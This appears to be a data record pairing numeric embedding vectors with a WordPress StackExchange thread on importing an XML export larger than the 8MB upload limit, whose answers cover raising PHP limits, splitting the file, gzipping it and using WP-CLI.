-0.016876220703125,
0.03717041015625,
-0.040679931640625,
0.032318115234375,
-0.034515380859375,
-0.021728515625,
0.0220184326171875,
-0.0601806640625,
0.0306243896484375,
-0.002704620361328125,
-0.003292083740234375,
-0.0005393028259277344,
-0.01043701171875,
0.0178070068359375,
0.0131378173828125,
-0.0254364013671875,
0.00016200542449951172,
0.037017822265625,
0.01248931884765625,
0.00838470458984375,
0.0284423828125,
0.004169464111328125,
0.0230560302734375,
-0.0220184326171875,
-0.038848876953125,
-0.004108428955078125,
0.001407623291015625,
-0.0184783935546875,
0.044708251953125,
0.01934814453125,
0.033599853515625,
-0.00945281982421875,
0.0224151611328125,
0.01392364501953125,
-0.033233642578125,
0.01430511474609375,
-0.0161895751953125,
-0.00746917724609375,
0.00946044921875,
-0.0216827392578125,
-0.0272369384765625,
0.071533203125,
-0.028076171875,
0.0184783935546875,
-0.00328826904296875,
0.039276123046875,
0.06732177734375,
-0.041351318359375,
0.0228271484375,
0.02239990234375,
0.0000012516975402832031,
-0.060211181640625,
0.00275421142578125,
0.0341796875,
0.02593994140625,
-0.0232391357421875,
-0.017822265625,
-0.027984619140625,
0.003345489501953125,
0.044525146484375,
-0.043853759765625,
0.01038360595703125,
0.020050048828125,
0.02337646484375,
-0.051361083984375,
0.0271759033203125,
0.0173187255859375,
-0.0250396728515625,
-0.03387451171875,
0.004791259765625,
-0.0316162109375,
-0.038482666015625,
0.01145172119140625,
0.0097808837890625,
0.0189361572265625,
-0.044647216796875,
-0.0628662109375,
-0.00550079345703125,
0.016082763671875,
0.0154571533203125,
-0.034881591796875,
-0.04840087890625,
-0.006473541259765625,
-0.00485992431640625,
0.017578125,
-0.0113067626953125,
0.037322998046875,
-0.00597381591796875,
-0.02734375,
0.04718017578125,
0.0201873779296875,
0.029754638671875,
-0.00988006591796875,
-0.03228759765625,
-0.024017333984375,
-0.01381683349609375,
-0.00466156005859375,
0.0123291015625,
-0.01727294921875,
-0.0149993896484375,
-0.002712249755859375,
-0.01263427734375,
0.029815673828125,
-0.00572967529296875,
0.0017719268798828125,
-0.0175323486328125,
0.0146331787109375,
0.004062652587890625,
0.0615234375,
0.03863525390625,
0.027191162109375,
-0.035552978515625,
0.07049560546875,
0.0259857177734375,
-0.00612640380859375,
-0.06658935546875,
-0.019989013671875,
0.00714111328125,
-0.00981903076171875,
-0.01214599609375,
-0.040985107421875,
0.03204345703125,
0.006717681884765625,
0.0357666015625,
-0.000026226043701171875,
0.01568603515625,
-0.0010843276977539062,
0.0211944580078125,
-0.0028858184814453125,
-0.028900146484375,
-0.007053375244140625,
-0.052520751953125,
0.07659912109375,
0.01038360595703125,
0.0037841796875,
0.0014886856079101562,
0.01221466064453125,
-0.0022373199462890625,
-0.002895355224609375,
0.01300811767578125,
-0.0323486328125,
-0.074462890625,
0.044189453125,
0.08660888671875,
0.033447265625,
0.046112060546875,
-0.0141143798828125,
0.021240234375,
0.016387939453125,
0.047576904296875,
-0.06463623046875,
-0.06292724609375,
0.03497314453125,
0.0270538330078125,
-0.059112548828125,
0.024200439453125,
-0.029632568359375,
0.0175933837890625,
0.05718994140625,
0.064697265625,
-0.0672607421875,
0.00510406494140625,
0.005580902099609375,
-0.02606201171875,
0.00965118408203125,
0.004642486572265625,
-0.0133056640625,
-0.02825927734375,
-0.0259857177734375,
0.0010194778442382812,
-0.04425048828125,
-0.0226287841796875,
0.01849365234375,
-0.00043201446533203125,
-0.016021728515625,
0.01947021484375,
-0.00676727294921875,
-0.0361328125,
0.0055084228515625,
0.041656494140625,
-0.01296234130859375,
-0.03521728515625,
0.0036373138427734375,
-0.0023651123046875,
-0.038482666015625,
-0.064697265625,
-0.0107574462890625,
0.0169830322265625,
-0.0172119140625,
-0.003131866455078125,
0.01273345947265625,
0.0416259765625,
0.0230560302734375,
0.01268768310546875,
0.0012998580932617188,
-0.009033203125,
-0.0037479400634765625,
-0.0221099853515625,
-0.032867431640625,
0.010589599609375,
0.011077880859375,
-0.024810791015625,
0.022247314453125,
-0.017608642578125,
-0.034454345703125,
-0.0175018310546875,
-0.0067901611328125,
0.0858154296875,
-0.071533203125,
0.003681182861328125,
0.03314208984375,
0.03729248046875,
-0.01178741455078125,
-0.01873779296875,
0.0322265625,
-0.035980224609375,
0.0165252685546875,
0.00191497802734375,
-0.0032711029052734375,
-0.0094757080078125,
-0.01416778564453125,
-0.032562255859375,
0.06732177734375,
0.01158905029296875,
-0.007587432861328125,
0.0020694732666015625,
0.03741455078125,
-0.019317626953125,
0.02410888671875,
-0.036529541015625,
0.0308074951171875,
0.011993408203125,
0.022308349609375,
-0.0294036865234375,
-0.0106201171875,
0.00678253173828125,
0.0016469955444335938,
0.12176513671875,
0.019317626953125,
-0.01181793212890625,
0.01398468017578125,
0.08343505859375,
0.019683837890625,
-0.0350341796875,
0.0391845703125,
-0.0025177001953125,
0.00574493408203125,
0.0201263427734375,
-0.0177459716796875,
0.016876220703125,
-0.00273895263671875,
-0.01007080078125,
0.018829345703125,
0.00513458251953125,
0.01030731201171875,
-0.035675048828125,
0.01081085205078125,
-0.0087127685546875,
-0.0164031982421875,
0.0020389556884765625,
-0.0096893310546875,
0.0271453857421875,
0.0180511474609375,
0.04010009765625,
-0.034423828125,
-0.04815673828125,
-0.0021228790283203125,
0.044921875,
-0.001270294189453125,
0.0275726318359375,
0.050537109375,
0.016448974609375,
0.0051727294921875,
-0.0015382766723632812,
0.01788330078125,
-0.00849151611328125,
-0.0221710205078125,
0.040191650390625,
0.050323486328125,
0.0238494873046875,
-0.034393310546875,
-0.019927978515625,
0.04840087890625,
0.0753173828125,
-0.0408935546875,
-0.01335906982421875,
0.0130615234375,
0.023223876953125,
0.0171966552734375,
-0.0194244384765625,
0.0382080078125,
0.05975341796875,
0.0679931640625,
-0.06866455078125,
0.01678466796875,
0.052215576171875,
0.03668212890625,
0.002651214599609375,
0.0162353515625,
-0.07598876953125,
-0.01424407958984375,
-0.0281219482421875,
-0.0214996337890625,
0.0093994140625,
0.0050811767578125,
0.046295166015625,
0.0037326812744140625,
0.050933837890625,
-0.00702667236328125,
-0.034637451171875,
0.05731201171875,
0.0272979736328125,
0.033905029296875,
-0.041839599609375,
-0.0028858184814453125,
-0.004058837890625,
0.032867431640625,
-0.044189453125,
0.05145263671875,
0.04248046875,
0.0443115234375,
-0.0245208740234375,
-0.03033447265625,
0.047637939453125,
-0.037841796875,
0.0589599609375,
-0.032958984375,
0.0160980224609375,
-0.018463134765625,
-0.03460693359375,
-0.037567138671875,
0.002880096435546875,
0.03985595703125,
0.05364990234375,
0.02386474609375,
0.02655029296875,
0.00449371337890625,
0.03057861328125,
0.006710052490234375,
0.028778076171875,
0.075439453125,
-0.01184844970703125,
-0.004451751708984375,
-0.00931549072265625,
-0.05010986328125,
0.00919342041015625,
0.037353515625,
-0.002666473388671875,
-0.002826690673828125,
0.0027141571044921875,
-0.0092926025390625,
-0.01373291015625,
0.0234375,
0.0024089813232421875,
0.0014467239379882812,
0.0202484130859375,
0.001583099365234375,
-0.035797119140625,
-0.0199432373046875,
0.0015382766723632812,
0.013153076171875,
0.03326416015625,
-0.04388427734375,
0.042388916015625,
0.039886474609375,
0.0029544830322265625,
0.007656097412109375,
-0.005153656005859375,
0.0104522705078125,
0.0208282470703125,
0.026397705078125,
0.004840850830078125,
-0.01422882080078125,
-0.007205963134765625,
0.052734375,
-0.006191253662109375,
-0.0217437744140625,
0.034149169921875,
-0.018310546875,
0.0010709762573242188,
-0.01024627685546875,
0.00936126708984375,
-0.0230255126953125,
-0.052337646484375,
-0.05499267578125,
0.00717926025390625,
0.02398681640625,
0.018524169921875,
-0.035186767578125,
0.042572021484375,
-0.0269775390625,
-0.01210784912109375,
0.010040283203125,
-0.053314208984375,
0.01041412353515625,
0.029998779296875,
-0.036468505859375,
-0.01222991943359375,
0.0038013458251953125,
-0.0271759033203125,
0.01102447509765625,
0.00009161233901977539,
0.0219879150390625,
0.0013799667358398438,
-0.055328369140625,
0.0241241455078125,
0.036376953125,
0.0689697265625,
0.00888824462890625,
0.0111846923828125,
0.0145721435546875,
-0.00687408447265625,
0.000995635986328125,
0.0107574462890625,
-0.01291656494140625,
-0.005451202392578125,
-0.01617431640625,
0.019287109375,
-0.004863739013671875,
-0.019134521484375,
-0.05474853515625,
-0.00446319580078125,
0.034423828125,
-0.004390716552734375,
-0.0340576171875,
-0.001628875732421875,
-0.014923095703125,
0.042327880859375,
-0.0078582763671875,
0.0201873779296875,
-0.006969451904296875,
0.02056884765625,
-0.0362548828125,
-0.00734710693359375,
-0.0150299072265625,
0.0086669921875,
0.013702392578125,
0.0355224609375,
0.0335693359375,
-0.0288238525390625,
-0.01039886474609375,
0.0445556640625,
0.0300445556640625,
0.0853271484375,
0.01611328125,
-0.011260986328125,
0.031524658203125,
-0.032379150390625,
-0.02984619140625,
-0.049713134765625,
0.0181884765625,
-0.0958251953125,
-0.00789642333984375,
-0.0172119140625,
0.016021728515625,
0.03875732421875,
-0.040863037109375,
-0.1168212890625,
0.07672119140625,
-0.046234130859375,
-0.045928955078125,
-0.0034618377685546875,
-0.014129638671875,
-0.01155853271484375,
0.01424407958984375,
0.007480621337890625,
-0.031402587890625,
-0.0258026123046875,
0.01085662841796875,
0.012725830078125,
-0.00566864013671875,
0.048614501953125,
0.01470947265625,
-0.07666015625,
-0.0226287841796875,
-0.05889892578125,
-0.004871368408203125,
0.030731201171875,
-0.023651123046875,
0.05572509765625,
0.035614013671875,
-0.051544189453125,
-0.009552001953125,
-0.00616455078125,
0.00566864013671875,
-0.0242462158203125,
0.0011720657348632812,
0.006305694580078125,
0.01849365234375,
0.001132965087890625,
0.05645751953125,
-0.010498046875,
-0.030242919921875,
-0.00917816162109375,
-0.038330078125,
0.0006613731384277344,
-0.0120697021484375,
-0.002071380615234375,
-0.063720703125,
-0.01357269287109375,
0.0233612060546875,
-0.00720977783203125,
0.01287078857421875,
-0.005184173583984375,
-0.007389068603515625,
0.01485443115234375,
0.04437255859375,
-0.009674072265625,
-0.03839111328125,
0.03680419921875,
0.043792724609375,
-0.031494140625,
0.023834228515625,
-0.0038089752197265625,
-0.0165863037109375,
0.045196533203125,
0.00276947021484375,
0.0025501251220703125,
-0.0267791748046875,
-0.0435791015625,
0.0282440185546875,
-0.0187225341796875,
0.03924560546875,
-0.048736572265625,
-0.040496826171875,
-0.027862548828125,
0.034576416015625,
0.0102996826171875,
0.0186767578125,
-0.04351806640625,
0.06829833984375,
0.0279083251953125,
0.0767822265625,
-0.042694091796875,
-0.051177978515625,
-0.06298828125,
0.0223846435546875,
-0.01546478271484375,
0.014862060546875,
0.0192718505859375,
0.0302886962890625,
-0.00568389892578125,
-0.040802001953125,
0.01065826416015625,
-0.05572509765625,
0.0168914794921875,
-0.06512451171875,
-0.00970458984375,
0.037353515625
] |
31177cd8c8543f4c88357f922b93897d82482a9c
|
Wordpress Stackexchange
Q: Import Wordpress xml file larger than 8mb I'm trying to import a xml file (from a previous wordpress theme) into a new wordpress theme. The problem is that the xml file is 46mb much bigger than the wordpress 8mb limit. Anyone have any advice/recommendations on how to import this file?
Thanks
apagey
A: if you have access to the .htaccess file in your www folder. Just include the following 2 lines in .htaccess:
php_value upload_max_filesize 50M
php_value post_max_size 50M
Other way .. you can place this piece of code in your theme's functions.php file
@ini_set( 'upload_max_size' , '50M' );
@ini_set( 'post_max_size', '50M');
|
Q: Import Wordpress xml file larger than 8mb I'm trying to import a xml file (from a previous wordpress theme) into a new wordpress theme. The problem is that the xml file is 46mb much bigger than the wordpress 8mb limit. Anyone have any advice/recommendations on how to import this file?
Thanks
apagey
A: if you have access to the .htaccess file in your www folder. Just include the following 2 lines in .htaccess:
php_value upload_max_filesize 50M
php_value post_max_size 50M
Other way .. you can place this piece of code in your theme's functions.php file
@ini_set( 'upload_max_size' , '50M' );
@ini_set( 'post_max_size', '50M');
A: According to the codex, you should be able to split the XML file into pieces and import them separately. Here is how I would do it.
The WordPress XML export file is in a format they call WordPress eXtended RSS (WXR), and looks like this (some lines left out):
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0"
>
<channel>
<!-- several tags about your blog, including title, link, description, etc. -->
<wp:author><!-- a list of your post authors here --></wp:author>
<wp:category><!-- a list of your categories --></wp:category>
<wp:tag><!-- first tag info --></wp:tag>
<wp:tag><!-- second tag info, etc. --></wp:tag>
<generator>http://wordpress.org/?v=3.6</generator>
<item>
<!-- first blog post here -->
</item>
<item>
<!-- second blog post here, etc. -->
</item>
</channel>
You'll need to split this into at least 6 different files to stay under your 8MB limit. Copy the file until you have 6 or 7 copies of the file. Then in each copy, remove some of the <item> elements (posts) until you are under 8MB. So each file will have identical information in the first part of the file, and will only differ in the <item> section. Make sure you don't include the same post in more than one file, or it will get imported twice. Then import each file, one at a time.
A: OPTION 1: If a WordPress WXR file, an XML file exported from WordPress, is too large to import, there are several things you might try to overcome that limit.
*
*Increase the amount of memory a PHP script may consume. Note: If using a shared hosting service, you may need to ask your host to increase the limit.
Increase the memory limit setting in php.ini (e.g. memory_limit = 64M ;). Many hosts may not allow this.
Increase the memory limit via .htaccess (e.g. php_value memory_limit 64M). Many hosts may not allow this.
Increase the memory limit via wp-config.php (e.g. define('WP_MEMORY_LIMIT', '64MB');)
*Increase the maximum amount of a time a PHP script will run. Note: If using a shared hosting service, you may need to ask your host to increase the limit.
Increase the maximum execution time in php.ini (e.g. max_execution_time = 600 ;). Many hosts may not allow this.
*Increase the PHP upload files size settings. Note: If using a shared hosting service, you may need to ask your host to increase the limit.
Increase the setting values in php.ini (e.g. upload_max_filesize = 64M ; and post_max_size = 64M ;). Many hosts may not allow this.
Increase the setting values via .htaccess (e.g. php_value upload_max_filesize 64M and php_value post_max_size = 64M). Many hosts may not allow this.
Increase the setting values via ini_set lines in wp-config.php. Talk to your host for the correct values.
*Increase the file upload size limit and/or file upload space limit:
Login to wp-admin as an administrator.
In the Site Admin navigation box, click "Options"
Scroll down and change the settings for "Max upload file size" and/or "Blog upload space"
*GZip the file. On some hosting services, a gzipped file can be automatically expanded in the background, without WordPress ever knowing the difference. This can allow you to make the file small enough to be fit into the maximum upload size constraints.
On Windows, use 7Zip to create a gz archive out of the wxr file.
On Linux, use the gzip command line.
Make sure that the resulting file has the file extension of ".gz" before uploading it, as this is often necessary.
This is not guaranteed to work, as it highly depends on the hosting configuration. If this fails, then try another method instead.
*Break the WordPress WXR file into smaller pieces by separating the data between posts and pasting the header/footer into each file.
As always, before importing the new XML's, backup the database of the blog you are importing the XML files to and might as well export XML file of that blog as well for good measure.
FYI, this info is available in the Codex.
OPTION 2: It is definitely more robust and probably easier to use the WP Migrate DB Pro (paid) plugin. Despite the name, with an add-on it also imports media files. I have personally encountered situations where none of the above methods worked - the only solution was to to use this plugin.
A: There's a application you can download to split large XML/WXR files into smaller files
Or you can change the upload & post limits in your php.ini file in cPanel.
A: This is the solution..... hope you will enjoy
You can change that setting by making a simple text file and putting it into the wp-admin folder.
So to make this file all you have to do is open a simple text program like textedit on Mac or notepad on Windows and type these two lines of code.
upload_max_filesize = 64M;
post_max_size = 32M;
You can put in any value you want I just chose 64 and 32 because they seemed like good numbers. So now you just save the file and name it php.ini the program will ask you if you want to use the .ini extension, click use .ini and save. Now all that is left to do is upload the file to your server and place it in the "wp-admin" folder, anywhere in the root section of the folder is fine.
Now login to your WordPress control panel and try and upload something large. It shouldn't give you any problems and upload whatever you want!
A: all you need is this plugin
Increase Max Upload Filesize
Download and install from wordpress.org
enter the value (up to 250mb) in bytes, and enjoy.
However, if you are uploading a large file, you may need to have installed memory bump plugin or increasse execution time manually
A: If it's available to you, WP-CLI offers an import command which is inarguably the best way to import large WXR files. It also offers an export command which allows you to export WXR files and it will split them into the file size you specify.
A: I tried this method by Gaia and it worked no problem thanks Gia
GZip the file. On some hosting services, a gzipped file can be automatically expanded in the background, without WordPress ever knowing the difference. This can allow you to make the file small enough to be fit into the maximum upload size constraints.
On Windows, use 7Zip to create a gz archive out of the wxr file.
On Linux, use the gzip command line.
Make sure that the resulting file has the file extension of ".gz" before uploading it, as this is often necessary.
This is not guaranteed to work, as it highly depends on the hosting configuration. If this fails, then try another method instead.
•Break the WordPress WXR file into smaller pieces by separating the data between posts and pasting the header/footer into each file.
A: I've always found the simplest way is be editing the user.ini file in the root of the WP installation, or adding one.
Plugins like WordFence and others that need to operate on system settings, will often do that because it plays nice with WordPress and several systems.
Edit or create a user.ini file in the WP root directory, copy/paste the code below, and save it. If you're using any kind of caching, flush them, then refresh the page you're uploading on.
In my WP installation the memory is set to 64M and I limited file sizes to 5M.
Change both upload_max_filesize and post_max_size to something larger than the file you're uploading.
; Memory and file sizes
memory_limit = 64M
upload_max_filesize = 5M
post_max_size = 5M
file_uploads = On
max_execution_time = 300
; End Upload Restrictions
A: I tried wpcli as it's command line , many things are handled at their end as well.
My XML file size was approx 10 MB.
In wp-config.php
set_time_limit( 86400 );
define('WP_CACHE', false);
define('WP_MEMORY_LIMIT', '1G');
define('WP_MAX_MEMORY_LIMIT', '1G');
Example of wpcli
$ wp import example.wordpress.2016-06-21.xml --authors=skip
|
wordpress
|
{
"language": "en",
"length": 1423,
"provenance": "stackexchange_00019.jsonl.gz:436739",
"question_score": "9",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113055"
}
|
[
0.0093536376953125,
-0.034912109375,
0.00379180908203125,
0.0139923095703125,
-0.0216827392578125,
-0.030059814453125,
0.045684814453125,
-0.02947998046875,
-0.0245361328125,
-0.0023937225341796875,
-0.058624267578125,
0.037353515625,
-0.033782958984375,
0.0014400482177734375,
0.041290283203125,
-0.05303955078125,
0.025299072265625,
0.0074615478515625,
0.0452880859375,
0.006195068359375,
0.00415802001953125,
0.019134521484375,
0.038726806640625,
-0.010284423828125,
-0.0124664306640625,
0.0016813278198242188,
0.06951904296875,
-0.007213592529296875,
-0.017608642578125,
-0.032073974609375,
0.00022482872009277344,
0.0212554931640625,
0.042755126953125,
0.0149383544921875,
-0.0555419921875,
0.00600433349609375,
-0.0242919921875,
0.0133056640625,
-0.007381439208984375,
0.0017862319946289062,
0.01093292236328125,
-0.0005335807800292969,
0.04949951171875,
0.0141754150390625,
0.0013608932495117188,
-0.0299224853515625,
0.019683837890625,
-0.039093017578125,
-0.00041866302490234375,
-0.0084075927734375,
0.01351165771484375,
0.0178375244140625,
0.03424072265625,
-0.05047607421875,
-0.01192474365234375,
0.005084991455078125,
-0.03692626953125,
0.041900634765625,
0.0277557373046875,
0.00893402099609375,
-0.0233306884765625,
0.01007080078125,
0.0024127960205078125,
-0.023956298828125,
-0.032928466796875,
-0.0024929046630859375,
-0.01168060302734375,
-0.0014553070068359375,
-0.02923583984375,
-0.035980224609375,
0.0258941650390625,
-0.0038166046142578125,
-0.024261474609375,
0.0011625289916992188,
-0.0018625259399414062,
-0.0150604248046875,
0.064697265625,
-0.025482177734375,
-0.033721923828125,
0.043487548828125,
0.0026531219482421875,
-0.0033664703369140625,
-0.0194244384765625,
-0.038299560546875,
0.01666259765625,
-0.0032444000244140625,
-0.00644683837890625,
0.0002219676971435547,
-0.0063323974609375,
-0.004581451416015625,
-0.0237274169921875,
0.010467529296875,
-0.01166534423828125,
0.0180816650390625,
-0.0268707275390625,
0.0005645751953125,
-0.03607177734375,
-0.0300750732421875,
0.0105133056640625,
0.053955078125,
0.0117034912109375,
-0.03717041015625,
0.083740234375,
-0.04376220703125,
0.0179290771484375,
0.039093017578125,
-0.023468017578125,
-0.00833892822265625,
0.04052734375,
0.015594482421875,
0.0019817352294921875,
0.0316162109375,
0.00217437744140625,
-0.0026569366455078125,
0.0102691650390625,
0.0258026123046875,
-0.0163421630859375,
0.045196533203125,
-0.00936126708984375,
0.048065185546875,
-0.0133209228515625,
0.02899169921875,
-0.090087890625,
-0.025146484375,
0.01271820068359375,
-0.0185394287109375,
-0.0088043212890625,
0.059906005859375,
-0.0225982666015625,
0.052154541015625,
-0.012969970703125,
-0.004337310791015625,
-0.01206207275390625,
0.0178985595703125,
-0.0186614990234375,
-0.0231475830078125,
0.0443115234375,
-0.002010345458984375,
-0.016876220703125,
0.0178680419921875,
-0.0008177757263183594,
-0.035491943359375,
-0.01409149169921875,
-0.014190673828125,
0.00952911376953125,
0.023834228515625,
-0.0009236335754394531,
0.016815185546875,
0.00794219970703125,
-0.037322998046875,
0.0380859375,
-0.040924072265625,
0.022552490234375,
0.006664276123046875,
-0.009979248046875,
-0.060211181640625,
0.020294189453125,
-0.048309326171875,
0.033416748046875,
-0.07122802734375,
-0.032684326171875,
0.003063201904296875,
0.03289794921875,
-0.042449951171875,
-0.038360595703125,
-0.006916046142578125,
-0.0186920166015625,
0.0042572021484375,
0.01235198974609375,
0.0091094970703125,
-0.044464111328125,
0.00974273681640625,
0.030364990234375,
-0.003162384033203125,
-0.012420654296875,
0.022705078125,
0.037109375,
-0.0047454833984375,
0.0030727386474609375,
0.056640625,
0.006381988525390625,
-0.018280029296875,
0.043975830078125,
-0.01739501953125,
-0.0355224609375,
-0.005084991455078125,
0.009857177734375,
0.0162200927734375,
0.022430419921875,
0.00832366943359375,
0.05120849609375,
0.01324462890625,
0.0032634735107421875,
-0.020233154296875,
-0.016143798828125,
-0.0304107666015625,
0.004032135009765625,
0.0003094673156738281,
-0.015472412109375,
0.02801513671875,
-0.05615234375,
-0.01119232177734375,
0.0163421630859375,
0.0038814544677734375,
0.0157012939453125,
0.006053924560546875,
-0.011474609375,
0.036468505859375,
0.0011625289916992188,
0.02801513671875,
0.0170745849609375,
0.032501220703125,
-0.0283966064453125,
-0.042449951171875,
-0.0136566162109375,
-0.000024497509002685547,
-0.01145172119140625,
0.026611328125,
0.00890350341796875,
0.0211639404296875,
-0.0035762786865234375,
-0.00013339519500732422,
-0.013519287109375,
-0.0127410888671875,
0.0134735107421875,
0.028533935546875,
-0.04541015625,
0.0146484375,
-0.0118408203125,
0.0119476318359375,
0.007602691650390625,
0.0244140625,
0.024658203125,
0.061737060546875,
0.00472259521484375,
-0.034759521484375,
-0.0247802734375,
-0.11260986328125,
0.0357666015625,
0.0684814453125,
0.03472900390625,
0.019195556640625,
0.010223388671875,
0.04791259765625,
0.0477294921875,
-0.0194091796875,
0.01096343994140625,
0.01470947265625,
-0.0020923614501953125,
-0.0215606689453125,
-0.0511474609375,
-0.0308837890625,
0.0521240234375,
-0.055084228515625,
-0.01070404052734375,
0.05224609375,
-0.0130157470703125,
-0.0225067138671875,
-0.0384521484375,
0.038299560546875,
0.00507354736328125,
0.0035552978515625,
-0.022796630859375,
-0.004878997802734375,
0.01194000244140625,
0.039031982421875,
0.04949951171875,
0.036407470703125,
-0.0161590576171875,
0.0006022453308105469,
0.00595855712890625,
0.005863189697265625,
0.0143890380859375,
-0.0185394287109375,
0.0014400482177734375,
0.0411376953125,
-0.034393310546875,
0.01041412353515625,
0.029052734375,
-0.00013148784637451172,
-0.01104736328125,
-0.01108551025390625,
-0.052734375,
0.0013666152954101562,
-0.00067138671875,
-0.0909423828125,
0.0015850067138671875,
0.03759765625,
0.00933837890625,
0.0123748779296875,
-0.00330352783203125,
0.0765380859375,
0.006206512451171875,
0.050537109375,
0.026092529296875,
0.0178070068359375,
0.0618896484375,
-0.0504150390625,
0.048828125,
-0.03204345703125,
0.10040283203125,
0.052734375,
-0.0438232421875,
0.0364990234375,
0.01200103759765625,
0.018524169921875,
0.0302734375,
-0.0020618438720703125,
-0.0166168212890625,
0.007213592529296875,
-0.0604248046875,
-0.011199951171875,
0.0183868408203125,
-0.024078369140625,
0.01279449462890625,
-0.021484375,
-0.01287841796875,
-0.0011796951293945312,
-0.039306640625,
-0.027923583984375,
-0.01288604736328125,
-0.07293701171875,
0.0006923675537109375,
-0.0243377685546875,
-0.027923583984375,
-0.0034027099609375,
-0.01488494873046875,
0.01157379150390625,
0.0062255859375,
-0.041107177734375,
-0.050201416015625,
-0.06256103515625,
-0.080322265625,
-0.0258636474609375,
0.0014219284057617188,
0.01024627685546875,
-0.006496429443359375,
0.0584716796875,
-0.00896453857421875,
-0.04974365234375,
-0.03985595703125,
0.019805908203125,
-0.006618499755859375,
-0.01198577880859375,
0.025177001953125,
-0.0245819091796875,
0.00429534912109375,
0.003448486328125,
0.050048828125,
0.031890869140625,
-0.034454345703125,
-0.0179901123046875,
-0.0037631988525390625,
-0.018798828125,
-0.023651123046875,
0.054779052734375,
0.01543426513671875,
-0.04534912109375,
-0.01026153564453125,
-0.07147216796875,
-0.041748046875,
0.034698486328125,
-0.032806396484375,
-0.002376556396484375,
0.001941680908203125,
-0.0283355712890625,
0.003696441650390625,
0.015228271484375,
-0.048370361328125,
-0.0217132568359375,
0.048431396484375,
-0.036224365234375,
0.006313323974609375,
-0.0301666259765625,
-0.04815673828125,
-0.0018138885498046875,
0.048614501953125,
-0.013214111328125,
0.03363037109375,
0.035552978515625,
-0.0191650390625,
-0.004184722900390625,
-0.00396728515625,
0.006992340087890625,
-0.0716552734375,
0.053558349609375,
-0.01265716552734375,
-0.016357421875,
-0.045928955078125,
-0.0272216796875,
-0.01165008544921875,
0.08245849609375,
-0.016143798828125,
0.002658843994140625,
0.0064239501953125,
0.02081298828125,
-0.03924560546875,
-0.053375244140625,
-0.053436279296875,
-0.0031490325927734375,
0.0018720626831054688,
-0.0093841552734375,
-0.0207672119140625,
-0.00815582275390625,
0.0017862319946289062,
-0.0521240234375,
0.025238037109375,
-0.024139404296875,
0.0264129638671875,
0.0009388923645019531,
0.017120361328125,
0.015411376953125,
0.0078887939453125,
0.00797271728515625,
-0.00909423828125,
-0.01100921630859375,
-0.11187744140625,
-0.010467529296875,
-0.02001953125,
0.084716796875,
-0.0291595458984375,
0.0360107421875,
-0.036346435546875,
0.050750732421875,
-0.01580810546875,
0.0287322998046875,
-0.0248260498046875,
-0.00249481201171875,
-0.004241943359375,
0.01568603515625,
-0.0139617919921875,
0.0076904296875,
-0.02716064453125,
-0.029266357421875,
-0.01514434814453125,
0.00928497314453125,
-0.018951416015625,
-0.028228759765625,
-0.01080322265625,
-0.006549835205078125,
-0.024993896484375,
-0.0244140625,
-0.0206756591796875,
0.01158905029296875,
0.01244354248046875,
-0.026580810546875,
-0.03326416015625,
-0.04144287109375,
0.0684814453125,
0.005168914794921875,
-0.0078277587890625,
-0.00350189208984375,
0.084716796875,
-0.00528717041015625,
-0.03253173828125,
-0.122314453125,
-0.0005617141723632812,
0.00693511962890625,
0.0133514404296875,
0.0187225341796875,
-0.0189056396484375,
-0.003192901611328125,
0.021575927734375,
-0.0264892578125,
0.00746917724609375,
-0.003345489501953125,
0.0435791015625,
0.0087890625,
0.02459716796875,
-0.00743865966796875,
0.00887298583984375,
0.0009436607360839844,
0.01251983642578125,
-0.0113067626953125,
-0.01324462890625,
-0.0078125,
0.039764404296875,
-0.02294921875,
0.017242431640625,
-0.036651611328125,
-0.0284271240234375,
0.022186279296875,
-0.05206298828125,
0.00838470458984375,
-0.043975830078125,
0.0224151611328125,
-0.0191650390625,
-0.0033473968505859375,
-0.006320953369140625,
0.0240325927734375,
0.051666259765625,
0.0243072509765625,
0.032012939453125,
0.05267333984375,
0.00363922119140625,
-0.03948974609375,
0.0081329345703125,
-0.032379150390625,
0.0205841064453125,
-0.015655517578125,
-0.046600341796875,
0.019195556640625,
0.00795745849609375,
-0.00930023193359375,
-0.019256591796875,
0.0192108154296875,
0.033905029296875,
0.0201416015625,
0.003269195556640625,
-0.0276641845703125,
0.0129547119140625,
-0.03143310546875,
-0.057037353515625,
-0.01434326171875,
-0.0177154541015625,
0.019927978515625,
0.0177001953125,
-0.0531005859375,
0.02911376953125,
0.002765655517578125,
0.033294677734375,
0.0035800933837890625,
0.054290771484375,
0.01128387451171875,
-0.052093505859375,
0.01490020751953125,
0.01052093505859375,
-0.01403045654296875,
-0.031280517578125,
0.0017824172973632812,
0.006561279296875,
0.0321044921875,
-0.0155487060546875,
-0.0244293212890625,
0.040863037109375,
0.006908416748046875,
0.010345458984375,
0.0271759033203125,
-0.041290283203125,
-0.0855712890625,
0.00713348388671875,
0.032928466796875,
0.0055999755859375,
-0.0677490234375,
-0.01274871826171875,
0.0712890625,
-0.0015611648559570312,
0.01580810546875,
0.0670166015625,
-0.0254669189453125,
-0.0198822021484375,
0.001720428466796875,
-0.018646240234375,
-0.0160064697265625,
-0.01270294189453125,
-0.033905029296875,
-0.019775390625,
-0.00689697265625,
-0.018890380859375,
0.0244293212890625,
0.003688812255859375,
-0.022186279296875,
-0.0264129638671875,
0.0174560546875,
-0.002849578857421875,
0.00848388671875,
0.0210113525390625,
-0.03277587890625,
0.01959228515625,
-0.03173828125,
-0.0316162109375,
-0.0435791015625,
0.0251312255859375,
0.0120697021484375,
-0.042022705078125,
-0.0033931732177734375,
-0.0302734375,
0.0152587890625,
-0.006191253662109375,
0.036468505859375,
0.0186920166015625,
0.045989990234375,
-0.03570556640625,
0.0304107666015625,
-0.01248931884765625,
0.0220947265625,
0.031646728515625,
-0.0106658935546875,
0.00527191162109375,
0.033172607421875,
0.01416778564453125,
-0.010467529296875,
0.012664794921875,
-0.00812530517578125,
-0.0186004638671875,
-0.022369384765625,
0.008148193359375,
-0.00933837890625,
0.0238494873046875,
-0.00745391845703125,
0.0201568603515625,
-0.050323486328125,
0.0013399124145507812,
-0.0232086181640625,
0.06439208984375,
-0.05145263671875,
-0.0222320556640625,
0.028656005859375,
-0.0100250244140625,
0.01751708984375,
-0.0134429931640625,
-0.0226287841796875,
-0.005489349365234375,
0.01160430908203125,
-0.004550933837890625,
0.0029430389404296875,
-0.0229949951171875,
0.00579833984375,
0.051605224609375,
-0.0056610107421875,
0.019927978515625,
0.0211334228515625,
0.0036067962646484375,
0.0270843505859375,
0.059967041015625,
-0.013458251953125,
-0.0509033203125,
